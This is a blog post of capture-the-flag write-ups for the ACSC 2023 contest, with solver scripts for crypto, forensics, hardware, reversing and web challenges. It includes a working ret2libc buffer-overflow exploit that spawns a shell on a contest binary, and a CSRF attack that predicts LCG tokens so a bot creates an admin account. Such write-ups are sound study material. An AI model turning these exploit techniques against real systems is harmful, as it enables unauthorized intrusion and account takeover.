ACSC 2023 Writeups

On February 25, I participated in Asian Cyber Security Challenge 2023 (ACSC 2023) and, by some luck, I was ranked 2nd in Vietnam and was selected as one of 15 contestants to participate in the International Cybersecurity Challenge (ICC) 2023, hosted in San Diego, USA. It was late to publish the writeups here because I only started this blog one week ago. However, late is better than never!

Welcome

Information

Category	Points
Warmup	10

Description:

Welcome to ACSC 2023! Check our Discrod for the flag :)

Solution

Flag is in the Announcement thread.

Flag is: ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

Cryptography

Merkle Hellman

Information

Category	Points
Warmup + Crypto	50

Description

We tired of RSA, try a new cryptosystem by merkle and hellman but we don’t know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

Solution

Looking at the source, we can see that the key that encrypt function uses is given, and we can brute force from 0 to 2^7=128 the ascii value of each character of the flag

from Crypto.Util.number import *

pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
flag=b''
for i in ct:
    for j in range(128):
        s = 0
        for k in range(7):
            if j & (64 >> k):
                s += pk[k]
        if i==s:
            flag+=long_to_bytes(j)
print(flag)

Flag is: ACSC{E4zY_P3@zy}

Check_number_63

Information

Category	Points
Crypto	150

Description

I know the “common modulus attack” on RSA. But as far as I know, the attacker can NOT factor n, right? I generated 63 keys with different public exponents. I also generated the check numbers to confirm the keys were valid. Sadly, public exponents and check numbers were leaked. Am I still safe?

Solution

We have to factor $n$ given multiple primes $e_i$, and $\frac{e_i*d_i-1}{\phi(n)}$, where $d_i$ is the inverse of $e_i$ mod $\phi(n)$.

Since $\phi(n)=pq-(p+q)+1$ and $e_i*d_i-1=k\phi(n)$ (k is integer), we rewrite to get multiple modular equations $p+q=pq+k^{-1}+1=n+k^{-1}+1$ mod $e_i$. Apply CRT, we can get $p+q$ mod $\prod e_i$

However, $p+q$ is about 1024 bits, $\prod e_i$ is about 1008 bits, so we will have to brute a little bit to get the exact $p+q$.

Finally, given $p+q$ and $n=pq$, we can easily find $p$ and $q$ and apply the script given to get the flag.

from Crypto.Util.number import *
import gmpy2
from hashlib import *

r=24575303335152579483219397187273958691356380033536698304119157688003502052393867359624475789987237581184979869428436419625817866822376950791646781307952833871208386360334267547053595730896752931770589720203939060500637555186552912818531990295111060561661560818752278790449531513480358200255943011170338510477311001482737373145408969276262009856332084706260368649633253942184185551079729283490321670915209284267457445004967752486031694845276754057130676437920418693027165980362069983978396995830448343187134852971000315053125678630516116662920249232640518175555970306086459229479906220214332209106520050557209988693711
a=[(65537,36212),(65539,5418),(65543,27200),(65551,37275),(65557,19020),(65563,18986),(65579,30121),(65581,55506),(65587,34241),(65599,35120),(65609,49479),(65617,38310),(65629,65504),(65633,15629),(65647,27879),(65651,6535),(65657,24690),(65677,57656),(65687,58616),(65699,19857),(65701,9326),(65707,8739),(65713,60630),(65717,35109),(65719,47240),(65729,12246),(65731,35776),(65761,23462),(65777,48929),(65789,13100),(65809,10941),(65827,55227),(65831,21264),(65837,36029),(65839,1057),(65843,11772),(65851,30488),(65867,45637),(65881,40155),(65899,42192),(65921,64114),(65927,8091),(65929,5184),(65951,8153),(65957,33274),(65963,17143),(65981,7585),(65983,62304),(65993,58644),(66029,15067),(66037,47377),(66041,35110),(66047,30712),(66067,4519),(66071,53528),(66083,1925),(66089,29064),(66103,32308),(66107,52310),(66109,13040),(66137,27981),(66161,36954),(66169,9902)]
s=1

for i in a:
    s*=i[0]
m=[i[0] for i in a]
n=[int((inverse(i[1],i[0])+1+r)%i[0]) for i in a]
sum=int(CRT_list(n,m))

while True:
    if sum^2 - 4*r <=0:
        sum+=s
        continue
    elif gmpy2.iroot(sum^2-4*r,int(2))[1] == True:
        break
    else:
        sum+=s

x=var('x')
q=x^2-sum*x+r
print(solve(q,x))

p=143026116177515987828041940647526671395967499944486647122671304348705870893095386822209597313090170117018866207825081216305902261238513999958328503013758234695405284984667174362118290023851621106497360421553676680838786617409394739766549865486382387391080554313144716298920178020814779020633607861091589038459
q=r//p
if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"
print(flag)

Flag is: ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}

Dual Signature Algorithm

Information

Category	Points
Crypto	250

Description

It must be twice as powerful as the ordinal one.

Solution

At first, i found this article but i couldn’t find anything. Then i found a way to combine two given modular equation in sign functions, which is $s_1=k^{-1}(z+r_1x) [q_1]$ and $s_2=k^{-1}(z+r_2x) [q_2]$

Using CRT, we can compute $S$ such that $S=s_1[q_1]$ and $S=s_2[q_2]$, and $R$ such that $R=r_1[q_1]$ and $R=r_2[q_2]$. Then the two equation mention above can be rewrite to $S=k^{-1}(z+Rx) [q_1q_2]$. Observe that $x,k$ is around 512 bits, while $N=q_1q_2$ is around 1040 bits, we can use LLL to get shortest vector $(\alpha * k, \beta * x, 1,0)$, where $\alpha$ and $\beta$ are scaling factors.

from Crypto.Util.number import *
from hashlib import *

r1, s1 = 2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802
r2, s2 = 3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373
p1, p2 = 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
q1, q2 = (p1 - 1) // 2, (p2 - 1) // 2
N = q1*q2
m = b"omochi mochimochi mochimochi omochi"
m= int(int(sha256(m).hexdigest(), 16) % N)

S=int(CRT_list([s1,s2],[q1,q2]))
R=int(CRT_list([r1,r2],[q1,q2]))


A = Matrix([
    [1/2^512,0,0,-S],
    [0,1/2^512,0, R ],
    [0,0,1, m ],
    [0,0,0,N]

])
res = int(A.LLL()[0][1]*(2^512))
print(long_to_bytes(res))

Flag is: ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}’

Forensics

Pcap-1

Information

Category	Points
Warmup + Forensics	50

Description

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

Note: If you find a “fake flag”, submit it here. Some text next to the flag says that it is not accepted, but now it is. There are 2 flags in the challenge, and both are accepted. Part 1 accepts the flag that is easier to get.

Solution

After searching for a while, i found this.

Apply their script to our pcapng file, we get the following message:

[+] Found : aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm<RET><RET>CCTTFF<SPACE><SPACE><SPACE><SPACE>IInnttttttrroo<SPACE><SPACE>PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww<SPACE><SPACE>ttoo<SPACE><SPACE>bbee<SPACE><SPACE>ggoooodd<SPACE><SPACE>aaaatt<SPACE><SPACE>CCTTFFss??aaaaaaAA<SPACE><SPACE>bbeeggiinnnneeeerr''ss<SPACE><SPACE><SPACE><SPACE>gguuuuiiddddee<DEL><DEL>bbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss<SPACE><SPACE>iiiiss<SPACE><SPACE>aaaannnn<SPACE><SPACE><SPACE><SPACE>eexxxxaaaammpppppplleeee<SPACE><SPACE>ooooffff<SPACE><SPACE>aaaa<SPACE><SPACE>ffllllaaaagg""aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuumm<DEL><DEL>nnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff<SPACE><SPACE><SPACE><SPACE>yyoooouuuu<SPACE><SPACE>ccccaaaann<SPACE><SPACE><SPACE><SPACE>rrrreeeeeeaaaadd<SPACE><SPACE>tttttthhiissss<SPACE><SPACE>mmmmeessssaaggggee,,<SPACE><SPACE>ccoonnnnggrraaaattss!!11<RET><RET>BBuuuutt<SPACE><SPACE><SPACE><SPACE>tttthheeee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>yyoooouu<SPACE><SPACE>sssseeeeee<SPACE><SPACE>nnnnooww<SPACE><SPACE>iiiissss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>aacccceeeepptteeeeeedd<SPACE><SPACE>ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa<RET><RET>IInnssppeeeecctt<SPACE><SPACE><SPACE><SPACE>tttthhhheeee<SPACE><SPACE>ppppaaaacccckkeeeettttssss<SPACE><SPACE>mmmmmmmmrrrreeee<SPACE><SPACE>ddddeeeeppllyy,,<SPACE><SPACE>mmaa<DEL><DEL><DEL><DEL>aaaanndddd<SPACE><SPACE>yyoooouuuu<SPACE><SPACE>wwwwiillll<SPACE><SPACE>rrrreevvvveeaaaall<SPACE><SPACE>mmmmmmrrrreeee<SPACE><SPACE>iiiinnffoomm<DEL><DEL>rrrrmmaaaattiiiioonn<SPACE><SPACE><SPACE><SPACE>aaaabboooouuuutttt<SPACE><SPACE>wwwwhhhhaaaatttt<SPACE><SPACE>iissss<SPACE><SPACE>hhhhaaaappppeeeenniiiinngg..<RET><RET>II''mm<SPACE><SPACE><SPACE><SPACE>wwwwrrrriittttiiiinnnngggg<SPACE><SPACE>tttthhhhhhiissss<SPACE><SPACE><SPACE><SPACE>hheerrrree,,<SPACE><SPACE>ootthhhheeeerrrrwwiissssee<SPACE><SPACE>1111000000<SPACE><SPACE>ppeeeeoooopppplllleeee<SPACE><SPACE><SPACE><SPACE>wwiillll<SPACE><SPACE><SPACE><SPACE>ddmm<SPACE><SPACE>mmmmeeee<SPACE><SPACE>ttttoo<SPACE><SPACE>ssssaayy<SPACE><SPACE><SPACE><SPACE>tttthhaaaatt<SPACE><SPACE><SPACE><SPACE>tttthhee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>iiss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE>wwoorrrrkkiiiinnnngg,,,,<SPACE><SPACE>oooooooorr<SPACE><SPACE><DEL><DEL><DEL><DEL><DEL><DEL>rr<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>cccchhaalllleennggggee<SPACE><SPACE>iiiissss<SPACE><SPACE>bbrrookkeenn..<RET><RET>BBttww,,<SPACE><SPACE><SPACE><SPACE>II<SPACE><SPACE>ddoonn''tttt<SPACE><SPACE>lliikkeeee<SPACE><SPACE>ffoorreennssssiiccccssss<SPACE><SPACE>ttoooo..<SPACE><SPACE>""))

Each letter has been doubled, and there are needless characters like a and b, so we just need to remove them and get the flag.

Flag is: ACSC{f0r3ns1cs_is_s0_fun}

Hardware

Hardware is not so hard

Information

Category	Points
Hardware	100

Description

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.

Solution

Actually i got this by lucky as i have limited knowledge about hardware :)).

Looking at the source given, i notice at these lines :

Device to SD Card : 510000000055
SD Card to Device : 00
SD Card to Device : fffffffffffffffffffeffd8ffe000104a46494600010101004800480000ffdb0043002c1e2127211c2c272427322f2c35426f48423d3d42886166506fa18da9a69e8d9b98b1c7ffd8b1bcf1bf989bdeffe0f1ffffffffffacd5ffffffffffffffffffffdb0043012f3232423a4282484882ffb79bb7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc20011080355028003011100021101031101ffc400190001010101010100000000000000000000000102030405ffc4001801010101010100000000000000000000000001020304ffda000c03010002100310000001f1800000140000000052800a529a346e29a29a280000000002804000000000000001c4f15000080000a53a1a2c5294a0a5294a500a0800000001400000000014100000000000000064f9d40002000029e98ee50014000000005040000002800000a40000000000000000000014f9b590002000029ee8d8050000000000504000000280000000000000000000000000014f09c68002000029f4600a000000000500004000050000000002900000000000000000283ca796801000003a9ee8000000000000a000400140000000280002000000000000000a00389e1a02000000f447ac0000000000050000400a00000000280002000000000000000a00327cda00400000f6477000000000001411dc

All the hex messages after in ‘SD Card to Devices’ also begin with ‘ff….fe’, and i also noticed JPG header ‘ffd8ff’ in the first hex message, so i tried to remove all ‘ff…fe’ and concatenated all the hex message to get a jpg image.

Unfortunately, it didn’t give me the image. I made another guess, that each hex message is correspond to one hex number ‘5100..’ above it, so i sort them in ascending order and tried again.

s=[[0x510000000055,'ffd8ffe000104a46494600010101004800480000ffdb0043002c1e2127211c2c272427322f2c35426f48423d3d42886166506fa18da9a69e8d9b98b1c7ffd8b1bcf1bf989bdeffe0f1ffffffffffacd5ffffffffffffffffffffdb0043012f3232423a4282484882ffb79bb7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc20011080355028003011100021101031101ffc400190001010101010100000000000000000000000102030405ffc4001801010101010100000000000000000000000001020304ffda000c03010002100310000001f1800000140000000052800a529a346e29a29a280000000002804000000000000001c4f15000080000a53a1a2c5294a0a5294a500a0800000001400000000014100000000000000064f9d40002000029e98ee50014000000005040000002800000a40000000000000000000014f9b590002000029ee8d8050000000000504000000280000000000000000000000000014f09c68002000029f4600a000000000500004000050000000002900000000000000000283ca796801000003a9ee8000000000000a000400140000000280002000000000000000a00389e1a02000000f447ac0000000000050000400a00000000280002000000000000000a00327cda00400000f6477000000000001411dc'],[0x51000000142f,'6b2198368e4d7679ae6b9e4cbc6aa6bbe9a5f1c59144b0635608228b0411471676a3a5736854a21651850f3b54e87dd4280b93c852a54a9d51b37c5e6d1a254bd1463db16ed6c09d11b75ca28960c5160c5c317bb5b3eaf0a1e434e184551534534d1510b2a8576b0cb90b894ae6d0a3a6582bf85dd587834a952a54b056d10a142851e010a142850b92e4afa254a969f00a6f43dd5bc143970e7c267cf6429f109c7952a54a9f0ca6cd0f453d02db83a25b2e54a956dea342850a146f4a953ec2ffc4002c100002010205050002010501010000000000011121311041516171203040819160a150b1c1e1f0f170d1ffda0008010100013f21f165a1bc375f0dd7c3746f8de1b02d542d656ab390804793e7f0e93c5f798d448b44de44b41fe906e0de66fb398d8fde136a4593e10b4fe55206dde4a9fe06b2ad1f7523f03921b7ee252e3f044fe877167f04925b6ee2d6f45f822c2dbb8b5bdff05581bf6d63f05229eabb69422fc153b41651bfe0d02ed24a6df83c8adfb2956fc1e247af656a7bfe08d1afc13492b0927a76523f9d135639c1c73f52be3a558d9473a066f32e70a1b705956abb290ab6fe451738c1b4aee08649bf46a539c76df70a129c8e364b52f283216869408d2ab9c287a587e8635258458a308975acaadff826b70ea37ff4324958684be0dc8f424b1e12b5266c269d9ce146c89a4b851da25ef825628a'],[0x51000000366f,'b502c3526c5612b655de348b54e4cb30559519a9d2a3ebb39209ba7cc5604af32ce7a7ddc336432c2617266a59b96f58adae39ada3b475ade32a42158a80752e1692f694d4c255b6d7c74a989f314ad2010f0ea4b54203761718cd82a6496e5e6b5a1a84dafea24489343ccc05e2285d4554752c5abc4d5c7645256f74e53302c4c160572c3669a455fbf109b29dc252a2f68dd478d9e25ba5bf685099ac933475205828b9adaf1c54de6472218ef4e6f31516c97772839d4a2838cb7825caf7965e8a9729e060bb33c4b96b2afa1c3cca951224d418f722d8b2a63b4b39259c935d3a5bd866ea26e68d17529456ab80696299b95502aeac343297982e015c662c52a9ae59572d85d6a58197e65b79b875377753cc34b96a088d2ad3956d0349a0d9b5f78ea003bb09115cb9420ddda6491016dd2c63163ef0fab5047a3c9571348711816019d51296f4692e356c743882d9b1a31b3a93479859806d06b19aa962296013b0b12f76046d6d16769440505bbd61ff00ac8ce6324a072e9ee28309856d85600388e358a99312c96421808c4264ac911d05ed09aa78ef15b19c6116dc3dba4a72757a033d0e2c0d17a45220ee7cf101cb45a1b2fbdcb664b2fc74388fb10ac179f8822190dbfc95681c4b775f3157557cf470dda30ca39c5fc4c0bae5fb42c31abbb8e62cc816a2b686e485a7ef2d5b015533e637cea934c37390f096fa'],[0x510000001067,'f65ecbd97b2e65ccb99732e65cc964b25fff0041ffc400291100020103030402020203000000000000000111021012213150203040514160617022903271b0ffda0008010301013f01ff00a564f6279a9e8c913d11d108c518abc189890884628c487cacd92b410ad3d1047873c7b631222d3e668cdb8efc94fbe067d8ff001c631ec53b705b1b71696b25453b707f81718b47c1b42e2be6d5a1395c1fcf15f375bc706c5b7191c22fd3ff00e4e3e9ce6c947d3a24dbfb00924927e970422110884628c0864b32fa33d09ec4909987a35465f448355db74a64342abe8722445e49249e969321ad85572f1dc924d0c518181818330660cc59151a8f51684f2b24f671660cc08a4fe2654999999999999992255e51fc4c51810f98c598a269333364bef64cc93dcc53d868d7e055fb32442663c941a1912fc655909ec3a4d512646488238f9f2d55ec74fa1d27fbbe4448d477179ebb3041047849c1a54350409df2f635dbf9e1649b493e32abd8e9f441b59a3544a64765f5be655506fb0ed37557b23b0fe828991a8e862aa0dc6bb4bc8779249249249249249b6afc8557b1abd4ad22a931ab49249253e6e83edc8bc94c6af040d14d7f0caa9208bd3d6fc577a8915eae01337e876a6a1ab5565bf5bf15f4abb206bcf46e35178220a6a1a1f9cc56a84882491b131924da9f3539d0a945a4dc8829a8aa922caebc866c48c92795ea'],[0x510000000ea9,'68d46a4d046a69834266b84365ace59cb45b494a43cb0fa678ad762fc70c865acb596b2d20887eb4ad8d3ae0f3132729e99c732082047c3ef557edb05ae4646527c9249ce4f92493993855a3d360b519f75c270d474c61249f51fcc971251a78389e678d3acf7393f95e4d53d1ec968c78352278329ac74a65b8263c10d461c3c3e38e8f857ebd73e054c96168d1fcad5f4ad30d4fad64a4f8f64b4f8e71748aa2245a92995283427b9a9c2bd4a35f03d2f45e5c5c4b25f4a82d2c1a8c291ebe1584127df87c7b2a343e41040e9c9335c20ba06881768d48f342c33c23c30411d52ccc9c2918cab5feac455186aa08c3eb24bb16a13d970de524f4663a70d71a5c0e2a34346d091f2ecae2eeb8f0410411d346b32342d732ae8c87ae58e448f31faecb86474ce63c27a2670590d66b529d2e16da923389208ca0b73b7b922328ca0b73b734b28cad1e9f363c3d7ee527cc2732d1e87d5334a3efc1ea52e054a174216c5381b68bd9738b997b2e65cc964b3b89677199990449192d76347b4a2e45c499999041696e5690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s=sorted(s)

data=''
for i in range(30):
    assert len(s[i][1])==len(s[0][1])
    b+=data[i][1]
    
f=open('img.jpeg','wb')
f.write(bytes.fromhex(data))

This time, my guess was right, but the image blurred, so i have to guess the flag and once again, by luck, i got the flag correctly (I got 10 minutes left when i solved this chall).

Flag is: ACSC{1tW@sE@syW@snt1t}

Pwnable

Vaccine

Information

Category	Points
Warmup + Pwn	50

Description:

Give me the correct vaccine to view my secret

Solution

We first need to build a docker from the Dockerfile to get the right version of libc for our binary.

Analyse the program, i notice that there’s only the main() function.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rbx
  char v5[112]; // [rsp+10h] [rbp-170h] BYREF
  char s2[112]; // [rsp+80h] [rbp-100h] BYREF
  char s[104]; // [rsp+F0h] [rbp-90h] BYREF
  FILE *v8; // [rsp+158h] [rbp-28h]
  FILE *stream; // [rsp+160h] [rbp-20h]
  int i; // [rsp+16Ch] [rbp-14h]

  stream = fopen("RNA.txt", "r");
  fgets(s, 100, stream);
  printf("Give me vaccine: ");
  fflush(_bss_start);
  __isoc99_scanf("%s", s2);
  for ( i = 0; ; ++i )
  {
    v3 = i;
    if ( v3 >= strlen(s2) )
      break;
    if ( s2[i] != 65 && s2[i] != 67 && s2[i] != 71 && s2[i] != 84 )
    {
      puts("Only DNA codes allowed!");
      exit(0);
    }
  }
  if ( strcmp(s, s2) )
  {
    puts("Oops.. Try again later");
    exit(0);
  }
  puts("Congrats! You give the correct vaccine!");
  v8 = fopen("secret.txt", "r");
  fgets(v5, 100, v8);
  printf("Here is your reward: %s\n", v5);
  return 0;
}

It’s a simple buffer overflow exploit. To bypass the strcmp() we only need to input a bunch of NULL char (0x00). However,the ‘secret.txt’ file doesn’t contain the flag.

Now simply just take control of the shell by ret2libc technique since we already have the right libc version.

from pwn import *

exe = ELF('./vaccine')
libc = ELF('./libc-2.31.so')

#io = remote('vaccine.chal.ctf.acsc.asia', 1337)
io = exe.process()
#gdb.attach(io, api=True)
#context.log_level = 'debug'

# Gadgets:
puts = 0x0000000000084420 # Offset that we took from the libc
pop_rdi = 0x0000000000401443
ret = 0x000000000040101a
main = 0x0000000000401236

# Leaking libc
io.recvuntil(b'vaccine:')
payload = b'\0'*264
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(main)
io.sendline(payload)
print(io.recvuntil(b' reward: '))
print(io.recvuntil(b'\n'))
leak_puts = int.from_bytes(io.recvline(keepends=False), byteorder='little')
print(hex(leak_puts))
libc.address = leak_puts - puts
print(f'Libc base: {hex(libc.address)}')

one_gadget = 0xe3b01
payload = b'\0'*264
payload += p64(libc.address + one_gadget)
io.sendline(payload)
time.sleep(0.5)
io.sendline(b'cat flag.txt')
io.interactive()

Run the script in remote and we will get:

[*] '/mnt/d/ctf/pwn/acsc/vaccine/bin/vaccine'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] '/mnt/d/ctf/pwn/acsc/vaccine/bin/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to vaccine.chal.ctf.acsc.asia on port 1337: Done
b' Congrats! You give the correct vaccine!\nHere is your reward: '
b'your flag is in another castle\n'
0x7f62767bf420
Libc base: 0x7f627673b000
[*] Switching to interactive mode
Give me vaccine: ACSC{RoP_3@zy_Pe4$y}

Flag is: ACSC{RoP_3@zy_Pe4$y}

Reverse Engineering

serverless

Information

Category	Points
Warmup + RE	80

Description:

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with “acscpass” as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

Solution

Deobfuscate the script given, we know that our message is encrypted by a function with pass ‘acscpass’. Analyze the function, i can see the main part of this function is actually RSA encryption.

With all parameters of RSA encryption has been given, we can easily decrypt and get the flag.

from Crypto.Util.number import *

data = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232][::-1]
key = "acscpass"
for i in range(len(data)):
    data[i] ^= ord(key[i % 8])
# j = 6
# k = 3
# s = 3
data = data[:-3]
x = 0
j = 0
for i in data:
    x += i * pow(2, j * 8)
    j += 1

t = pow(2,pow(2, 3)) + 1
n = 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699 * 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67

phi = (0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699 - 1)*(0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67 - 1)
d = inverse(t,phi)
v = pow(x,d,n)
flag = ''
while v > 0:
    flag += chr(v & 0xFF)
    v >>= 8
print(flag[::-1])

Flag is: ACSC{warmup_challenge_so_easy}

ngo

Information

Category	Points
RE	120

Description:

Link

Solution

I tried to run ngo.exe, but it only printed out the first 7 characters of the flag.

Load this in IDA, I checked for the function that prints out flag and got this:

__int64 sub_14000161F()
{
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v2; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  sub_140001780();
  sub_1400015E2("The flag is \"ACSC{");
  v4 = 1i64;
  for ( i = 0; i <= 11; ++i )
  {
    for ( j = 0i64; j < v4; ++j )
      v2 = sub_140001550();
    sub_14000159C((unsigned int)(char)(v2 ^ byte_140008010[i]));
    v4 *= 42i64;
  }
  sub_1400015E2("}\".\n");
  return 0i64;
}

Rewrite it using Python:

key = 0x3D2964F0
for j in range(round):
	key = (key >> 1) ^ (-(key & 1) & 0x80200003)

It is impossible to get the flag using the original logic, because the for loop would have to run about 10 ** 16 times for the last character to be printed out. Then I did some research (also asked ChatGPT) and found this Github

After reading this, I got to know that every state of the variable key (0x00000000 to 0xFFFFFFFF) using this algorithm has a cycle of 2 ** 32, meaning that we can modulo the variable round by 2 ** 32 for each character.

data = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7,0x81, 0x21]
key = 0x3D2964F0
cnt = 0
total = 0
print('ACSC{', end='')
for i in data:
    total = pow(42,cnt)
    rnd = total % 0xFFFFFFFF
    for j in range(rnd):
        key = (key >> 1) ^ (-(key & 1) & 0x80200003)
    print(chr((key ^ data[cnt]) & 0xFF),end='')
    cnt += 1
print('}')

Flag is: ACSC{yUhFgRvQ2Afi}

Web

Admin dashboard

Information

Category	Points
Web	100

Description

I built my first website, admin dashboard with bootstrap and PHP! Feel free to try it! Hope there is no bug..

Solution

Analyzing the source given, i found an endpoint /addadmin.php that we need to have role admin with its crsf token.

Another endpoint is in /report.php, which create csrf-token correspond to user-session and the token will change after 30 seconds or users reenter the endpoint. When we send an url , a bot will visit that url. Therefore, the goal is to make the bot add an fake account with role admin by feeding payload entering addadmin.php.

Specifically , the payload is a get request as the form in the source get data via $_REQUEST, so both post or get method will work.

http://<challenge-server>/addadmin.php?username=Onirique&password=123&csrf-token=<admin_token>

The csrf-token is create via linear congruential generator (LCG), with known modulo $M$ and unknown multiplier $A$ and increment $C$

X0 = [username]
X1 = (A * X0 + C) [mod M]
X2 = (A * X1 + C) [mod M]

We can easily compute A,C using these two equations by getting my own X0,X1,X2:

C = (X1*X1-X2*X0)*(X1-X0)^-1 [mod M]
